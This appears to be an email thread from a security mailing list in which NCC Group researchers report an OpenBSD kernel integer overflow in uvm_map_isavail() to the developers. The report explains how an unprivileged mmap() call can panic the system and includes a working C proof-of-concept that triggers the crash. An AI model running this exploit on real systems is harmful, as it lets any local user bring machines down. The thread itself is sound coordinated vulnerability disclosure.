Hi Tim, Yes, a fix is being discussed ATM.. we'll let you know shortly I believe.
On Mon, Aug 1, 2016 at 12:38 PM, Jesse Hertz <jesse.hertz@nccgroup.trust> wrote: > Hi All, > > Is a fix for this in the works? We’d like to be able to point to a fix > before posting to oss-sec :) > > Best, > -jh > > On Jul 28, 2016, at 8:58 PM, Tim Newsham <Tim.Newsham@nccgroup.trust> > wrote: > > > > Hi, We just came across another issue that allows a user to crash the > system through mmap. Despite trying, we didn't notice any more serious > privilege escalation opportunities. > > > > /* > > * mmap_dup_panic.c > > * Demonstrate a panic through the mmap system call. > > * > > * gcc -g mmap_dup_panic.c -o mmap_dup_panic > > */ > > > > #ifdef BUG_WRITEUP //--------------------------------------------------- > > Any user can trigger a panic in mmap with an overlapping mapping > > > > Impact: > > Any user can trigger a panic by requesting a large mapping > > that overlaps with an existing mapping. > > > > Description: > > It is possible for an mmap() call to request a mapping at a > > virtual address that overlaps an existing mapping. This is checked > > for in uvm_map() by calling uvm_map_isavail() with the hint address and > > size.. There is a flaw in uvm_map_isavail() when the requested size is > very > > large. The code looks up the maps at the start and end address with: > > > > if (*start_ptr == NULL) { > > *start_ptr = uvm_map_entrybyaddr(atree, addr); > > if (*start_ptr == NULL) > > return 0; > > } else > > KASSERT(*start_ptr == uvm_map_entrybyaddr(atree, addr)); > > if (*end_ptr == NULL) { > > if (VMMAP_FREE_END(*start_ptr) >= addr + sz) > > *end_ptr = *start_ptr; > > else { > > *end_ptr = uvm_map_entrybyaddr(atree, addr + sz - 1); > > if (*end_ptr == NULL) > > return 0; > > } > > } else > > KASSERT(*end_ptr == uvm_map_entrybyaddr(atree, addr + sz - 1)); > > > > Due to an integer overflow that can occur when computing > > "addr + sz" it is possible for the end_ptr map to be > > computed incorrectly (setting "*end_ptr = *start_ptr"). Later > > when this same function iterates over the maps between the start > > and end maps, the function may fail to notice that a large mapping > > overlaps with an existing mapping. > > > > If uvm_map_isavail() indicates that the hint address is available, > > uvm_map() will continue its processing without assigning a new > > address. It will eventually call uvm_map_fix_space() which > > performs its own sanity lookup with uvm_mapent_addr_insert(), > > and panics if an overlapping mapping is added: > > > > res = RB_INSERT(uvm_map_addr, &map->addr, entry); > > if (res != NULL) { > > panic("uvm_mapent_addr_insert: map %p entry %p " > > "(0x%lx-0x%lx G=0x%lx F=0x%lx) insert collision " > > "with entry %p (0x%lx-0x%lx G=0x%lx F=0x%lx)", > > map, entry, > > entry->start, entry->end, entry->guard, entry->fspace, > > res, res->start, res->end, res->guard, res->fspace); > > } > > > > An attacker can take advantage of this to intentionally > > trigger a panic to crash the system. This does not require > > any special privileges. > > > > In theory this flaw might allow an attacker to make a mapping > > that wraps around from user addresses, through kernel addresses > > and back to low user addresses. Such a mapping might allow > > access to kernel memory or to the NULL page (useful for performing > > certain attacks against NULL pointer use in the kernel). > > However NCC was unable to find any way to create such a mapping > > without causing a panic since it does not appear to be possible > > to make a mapping above the stack segment. All wrap-around mappings > > lower than this address overlap with the stack segment and result > > in a panic. > > > > Reproduction: > > Run the attached mmap_dup_panic.c program. It first maps a > > page in and then performs a second mmap() call to request > > another mapping at the next page address. This second mapping overlaps > > the first due to the large size, and causes a panic message such as > > "panic: uvm_mapent_addr_insert: map 0xffffff00036be300 entry > 0xffffff000311d178 (0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x200000000) > insert collision with entry 0xffffff000272de08 > (0x1dcc56000000-0x1dcc56000000 G=0x0 F=0x1000)" > > NCC Group was able to reproduce this issue on OpenBSD 5.9-stable kernel > > pulled from CVS on July 25, 2016. > > > > Recommendation: > > Detect when "addr + sz" causes an integer overflow in uvm_map_isavail(). > > Return zero indicating that this mapping is not available in this case. > > > > Reported: 2016-07-28 > > Fixed: notyet > > #endif // BUG_WRITEUP --------------------------------------------------- > > > > #include <stdio.h> > > #include <stdlib.h> > > #include <fcntl.h> > > #include <unistd.h> > > #include <sys/mman.h> > > > > void xperror(int cond, char *msg) > > { > > if(cond) { > > perror(msg); > > exit(1); > > } > > } > > > > int main(int argc, char **argv) > > { > > int fd; > > char *p, *pg; > > > > fd = open("/tmp/mapfile", O_RDWR|O_CREAT, 0666); > > xperror(fd == -1, "/tmp/mapfile"); > > write(fd, "testing\n", 8); > > > > pg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | > MAP_ANONYMOUS, -1, 0); > > xperror(pg == MAP_FAILED, "mmap"); > > > > p = mmap(pg+4096, 0xffffff0000000000, 0, 0, fd, 0); > > xperror(pg == MAP_FAILED, "mmap2"); > > printf("no crash!\n"); > > return 0; > > } > > > > Tim Newsham > > Distinguished Security Engineer, Security Consulting > > NCC Group > > Tim.Newsham@nccgroup.trust | PGP: B415 550D BEE9 07DB B4C9 F96C 8EFE > CB2F 402D 3DF0 > > > >